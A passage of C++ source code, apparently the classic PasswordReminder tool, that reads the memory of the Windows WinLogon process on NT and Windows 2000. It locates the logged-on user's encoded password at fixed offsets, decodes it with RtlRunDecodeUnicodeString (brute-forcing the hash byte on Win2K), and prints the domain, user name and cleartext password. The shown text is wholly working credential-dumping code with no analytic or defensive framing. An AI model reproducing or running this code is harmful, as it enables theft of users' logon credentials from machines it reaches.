for (i = 0; i < Count; i++)
					{
						dw += sizeof (PROCESS_INFO);
						ProcessInfoP = (PPROCESS_INFO) dw;
						if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
							return (0);
						if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
							rc = 
								QuerySystemInformationP->PID;
					}
					if (DebugBufferP)
						pfnRtlDestroyQueryDebugBuffer 
							(DebugBufferP);
					HeapFree 
						(GetProcessHeap (),
						0,
						InfoP);
					return (rc);
				}
			}
			if (DebugBufferP)
				pfnRtlDestroyQueryDebugBuffer 
					(DebugBufferP);
		}
		DWORD dw = (DWORD) QuerySystemInformationP;
		dw += sizeof (QUERY_SYSTEM_INFORMATION);
		QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
	}
	HeapFree 
		(GetProcessHeap (),
		0,
		InfoP);
	return (rc);
} // FindWinLogon

BOOL 
	LocatePasswordPageWinNT 
		(DWORD WinLogonPID, 
		PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT	0x200
#define USER_PASSWORD_OFFSET_WINNT	0x400
	BOOL rc = FALSE;
	HANDLE WinLogonHandle =
		OpenProcess 
			(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
			FALSE, 
			WinLogonPID);
	if (WinLogonHandle == 0)
		return (rc);
	*PasswordLength = 0;
	SYSTEM_INFO SystemInfo;
	GetSystemInfo 
		(&SystemInfo);
	DWORD PEB = 0x7ffdf000; 
	DWORD BytesCopied = 0;
	PVOID PEBP = 
		HeapAlloc
			(GetProcessHeap (),
			HEAP_ZERO_MEMORY,
			SystemInfo.dwPageSize);
	if (!ReadProcessMemory
			(WinLogonHandle,
			(PVOID) PEB,
			PEBP,
			SystemInfo.dwPageSize,
			&BytesCopied))
	{
		CloseHandle 
			(WinLogonHandle);
		return (rc);
	}
	// Grab the value of the 2nd DWORD in the TEB.
	PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
	MEMORY_BASIC_INFORMATION MemoryBasicInformation;
	if (VirtualQueryEx
			(WinLogonHandle,
			(PVOID) *WinLogonHeap,
			&MemoryBasicInformation,
			sizeof (MEMORY_BASIC_INFORMATION)))
		if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
				&&
			((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
		{
			PVOID WinLogonMemP = 
				HeapAlloc
					(GetProcessHeap (),
					HEAP_ZERO_MEMORY,
					MemoryBasicInformation.RegionSize);
			if (ReadProcessMemory
					(WinLogonHandle,
					(PVOID) *WinLogonHeap,
					WinLogonMemP,
					MemoryBasicInformation.RegionSize,
					&BytesCopied))
			{
				DWORD i = (DWORD) WinLogonMemP;
				DWORD UserNamePos = 0;
				// The order in memory is UserName followed by the UserDomain.
				do
				{
					if ((wcscmp (UserName, (wchar_t *) i) == 0)
							&&
						(wcscmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
					{
						UserNamePos = i;
						break;
					}
					i += 2;
				} while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
				if (UserNamePos)
				{
					PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
						(PENCODED_PASSWORD_INFO) 
							((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
					FILETIME LocalFileTime;
					SYSTEMTIME SystemTime;
					if (FileTimeToLocalFileTime
						(&EncodedPasswordInfoP->LoggedOn,
						&LocalFileTime))
						if (FileTimeToSystemTime
							(&LocalFileTime,
							&SystemTime))
							printf 
								("You logged on at %d/%d/%d %d:%d:%d\n",
								SystemTime.wMonth,
								SystemTime.wDay,
								SystemTime.wYear,
								SystemTime.wHour,
								SystemTime.wMinute,
								SystemTime.wSecond);
					*PasswordLength = 
						(EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
					HashByte = 
						(EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
					RealPasswordP = 
						(PVOID) (*WinLogonHeap + 
							(UserNamePos - (DWORD) WinLogonMemP) + 
							USER_PASSWORD_OFFSET_WINNT + 0x34);
					PasswordP = 
						(PVOID) ((PBYTE) (UserNamePos +  
							USER_PASSWORD_OFFSET_WINNT + 0x34));
					rc = TRUE;
				}
			}
		}

	HeapFree
		(GetProcessHeap (),
		0,
		PEBP);
	CloseHandle 
		(WinLogonHandle);
	return (rc);
} // LocatePasswordPageWinNT

BOOL 
	LocatePasswordPageWin2K 
		(DWORD WinLogonPID, 
		PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K	0x400
#define USER_PASSWORD_OFFSET_WIN2K	0x800
	HANDLE WinLogonHandle =
		OpenProcess 
			(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
			FALSE, 
			WinLogonPID);
	if (WinLogonHandle == 0)
		return (FALSE);
	*PasswordLength = 0;
	SYSTEM_INFO SystemInfo;
	GetSystemInfo 
		(&SystemInfo);
	DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
	DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
	DWORD Increment = SystemInfo.dwPageSize;
	MEMORY_BASIC_INFORMATION MemoryBasicInformation;
	while (i < MaxMemory)
	{
		if (VirtualQueryEx
				(WinLogonHandle,
				(PVOID) i,
				&MemoryBasicInformation,
				sizeof (MEMORY_BASIC_INFORMATION)))
		{
			Increment = MemoryBasicInformation.RegionSize;
			if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
					&&
				((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
			{
				PVOID RealStartingAddressP =
					HeapAlloc 
						(GetProcessHeap (),
						HEAP_ZERO_MEMORY,
						MemoryBasicInformation.RegionSize);
				DWORD BytesCopied = 0;
				if (ReadProcessMemory
						(WinLogonHandle,
						(PVOID) i,
						RealStartingAddressP,
						MemoryBasicInformation.RegionSize,
						&BytesCopied))
				{
					if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
							&&
						(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
					{
						RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
						PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
						// Calculate the length of encoded unicode string.
						PBYTE p = (PBYTE) PasswordP;
						DWORD Loc = (DWORD) p;
						DWORD Len = 0;
						if ((*p == 0)
								&&
							(* (PBYTE) ((DWORD) p + 1) == 0))
							;
						else
							do
							{
								Len++;
								Loc += 2;
								p = (PBYTE) Loc;
							} while 
								(*p != 0);
						*PasswordLength = Len;
						CloseHandle 
							(WinLogonHandle);
						return (TRUE);
					}
				}
				HeapFree 
					(GetProcessHeap (),
					0,
					RealStartingAddressP);
			}
		}
		else
			Increment = SystemInfo.dwPageSize;
		// Move to next memory block.
		i += Increment;
	}
	CloseHandle 
		(WinLogonHandle);
	return (FALSE);
} // LocatePasswordPageWin2K

void 
	DisplayPasswordWinNT 
		(void)
{
	UNICODE_STRING EncodedString;
	EncodedString.Length = 
		(WORD) PasswordLength * sizeof (wchar_t);
	EncodedString.MaximumLength = 
		((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
	EncodedString.Buffer = 
		(PWSTR) HeapAlloc
			(GetProcessHeap (),
			HEAP_ZERO_MEMORY,
			EncodedString.MaximumLength);
	CopyMemory 
		(EncodedString.Buffer, 
		PasswordP, 
		PasswordLength * sizeof (wchar_t));
	// Finally - decode the password.
	// Note that only one call is required since the hash-byte
	// was part of the orginally encoded string.
	pfnRtlRunDecodeUnicodeString 
		((BYTE) HashByte, 
		&EncodedString);
	printf 
		("The logon information is: %S/%S/%S.\n", 
		UserDomain, 
		UserName, 
		EncodedString.Buffer);
	printf 
		("The hash byte is: 0x%2.2x.\n", 
		HashByte);
	HeapFree
		(GetProcessHeap (),
		0,
		EncodedString.Buffer);
} // DisplayPasswordWinNT

void 
	DisplayPasswordWin2K 
		(void)
{
	DWORD i, Hash = 0;
	UNICODE_STRING EncodedString;
	EncodedString.Length = 
		(USHORT) PasswordLength * sizeof (wchar_t);
	EncodedString.MaximumLength = 
		((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
	EncodedString.Buffer =
		(PWSTR) HeapAlloc 
			(GetProcessHeap (),
			HEAP_ZERO_MEMORY,
			EncodedString.MaximumLength);
	// This is a brute force technique since the hash-byte
	// is not stored as part of the encoded string - :>(.
	for (i = 0; i <= 0xff; i++)
	{
		CopyMemory 
			(EncodedString.Buffer, 
			PasswordP, 
			PasswordLength * sizeof (wchar_t));
		// Finally - try to decode the password.
		pfnRtlRunDecodeUnicodeString 
			((BYTE) i, 
			&EncodedString);
		// Check for a viewable password.
		PBYTE p = (PBYTE) EncodedString.Buffer;
		BOOL Viewable = TRUE;
		DWORD j, k;
		for (j = 0; (j < PasswordLength) && Viewable; j++)
		{
			if ((*p)
					&&
				(* (PBYTE)(DWORD (p) + 1) == 0))
			{
				if (*p < 0x20)
					Viewable = FALSE;
				if (*p > 0x7e)
					Viewable = FALSE;
			}
			else
				Viewable = FALSE;
			k = DWORD (p);
			k++; k++;
			p = (PBYTE) k;
		}
		if (Viewable)
		{
			printf 
				("The logon information is: %S/%S/%S.\n", 
				UserDomain, 
				UserName, 
				EncodedString.Buffer);
			printf 
				("The hash byte is: 0x%2.2x.\n", 
				i);
		}
	}
	HeapFree 
		(GetProcessHeap (),
		0,
		EncodedString.Buffer);
} // DisplayPasswordWin2K

// end PasswordReminder.cpp